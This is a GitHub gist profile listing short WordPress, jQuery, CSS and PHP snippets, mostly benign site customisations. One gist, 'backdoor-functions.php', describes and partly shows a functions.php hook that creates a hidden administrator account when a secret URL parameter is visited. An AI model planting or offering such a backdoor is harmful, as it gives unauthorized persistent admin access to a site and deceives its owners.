Skip to content

Instantly share code, notes, and snippets.

View abid112's full-sized avatar
🎯
Focusing

Abid Hasan abid112

🎯
Focusing
View GitHub Profile
@abid112
abid112 / change-url-based-on-url-parameter.js
Last active July 21, 2022 08:48
Change URL based on URL Parameter using jQuery
//Trim and get the value of URL parameter from URL
var getUrlParameter = function getUrlParameter(sParam) {
var sPageURL = window.location.search.substring(1),
sURLVariables = sPageURL.split('&'),
sParameterName,
i;
for (i = 0; i < sURLVariables.length; i++) {
sParameterName = sURLVariables[i].split('=');
@abid112
abid112 / functions.php
Created August 3, 2021 13:08
Click instead of hover to open Elementor Pro (Nav Menu widget) submenu
//Here is the full video: https://youtu.be/F2dFOSIivRA
//Dequeue Elementor Pro smartmenus script
function elementor_pro_dequeue_script(){
wp_dequeue_script('smartmenus');
}
add_action('wp_footer', 'elementor_pro_dequeue_script', 15);
@abid112
abid112 / CSS Media Queries for all common device breakpoints
Created August 7, 2020 09:10
CSS Media Queries for all common device breakpoints
/* Smartphones (portrait and landscape) ----------- */
@media only screen and (min-device-width : 320px) and (max-device-width : 480px) {
/* Styles */
}
/* Smartphones (landscape) ----------- */
@media only screen and (min-width : 321px) {
/* Styles */
}
@abid112
abid112 / $_GET and $_POST
Created November 20, 2019 04:07
This gist shows how to collect submitted form-data from users by using $_POST and $_GET method.
$_GET and $_POST are Superglobal variables in PHP which used to collect data from HTML form and URL.
There are two ways the browser(client) can send information to the web server.
-The GET Method
-The POST Method
*********The GET Method*********
In PHP, the $_GET variable is used to collect values from HTML forms using method get.
Information sent from an HTML form with the GET method is displayed in the browser's address bar, and it has a limit on the amount of information to send.
@abid112
abid112 / backdoor-functions.php
Created April 25, 2019 07:15
This is like a backdoor of your WordPress site. This lines of code will generate user, password as a admin role by URL hit.
//Hit this URL after put code on functions.php : http://www.yourdomain.com/?backdoor=knockknock
//It will create username= name ; password= pass ; role= administrator on your wordpress backend users.
//After that you can login on your site with this username and password.
//change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts
<?php
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor() {
If ($_GET['backdoor'] == 'knockknock') {
require('wp-includes/registration.php');
@abid112
abid112 / add-button-beside-add-to-cart-with-direct-checkout.php
Last active March 19, 2019 08:46
This function is provide the facility of another button called "Direct Checkout" besides 'Add to Cart" which will takes user to the direct checkout page on Woocommerce.
/********************************************************************************************
*Add this on functions.php of your WordPress
*********************************************************************************************/
function add_content_after_addtocart() {
// get the current post/product ID
$current_product_id = get_the_ID();
// get the product based on the ID
@abid112
abid112 / Exclude reCAPTCHA v3 from specific pages in WordPress
Created March 12, 2019 06:41
This is for the WordPress user who uses Contact Form-7 integration for reCAPTCHA v3 . Google introduced a new reCAPTCHA v3 which is run on the background of the webpage. So no need to perform that checkbox and stupid image puzzle anymore. Google detects automatically with their algorithm of Human or Bot. In reCAPTCHA v3 in Contact Form-7 is perf…
//For one page
add_action('wp_print_scripts', function () {
if ( !is_page('contact-us') ){
wp_dequeue_script( 'google-recaptcha' );
}
});
//For multiple pages
add_action('wp_print_scripts', function () {
@abid112
abid112 / hide-class-if-another-class-is-exists.js
Created January 19, 2019 23:03
This JavaScript is hide another class if the specific class is exists.
<script type="text/javascript">
$(document).ready(function(){
if ($('.mwd-success').css('display') == 'block') {
$('.email-confirm-sub').css('display', 'none');
}
});
</script>
@abid112
abid112 / Difference between get_stylesheet_directory_uri() | get_template_directory_uri() | get_stylesheet_uri()
Created July 18, 2018 05:58
Difference between get_stylesheet_directory_uri() | get_template_directory_uri() | get_stylesheet_uri()
To know the differnce of these 3 function of WP, we need to print this 3 function.
Lets say, Our theme name is "wp-rootstrap". We create a child theme named, "wp-rootstrap-child". Inside child theme, we created header.php
and write the bellow codes to see the results.
<?php echo get_stylesheet_directory_uri() ."<br>"; ?>
<?php echo get_template_directory_uri() ."<br>"; ?>
<?php echo get_stylesheet_uri() ."<br>"; ?>
@abid112
abid112 / footer.php
Created January 8, 2018 10:08
This code will Redirect you to "Success Page/Thank You" page after Submit the form of Contact Form-7 [WORDPRESS]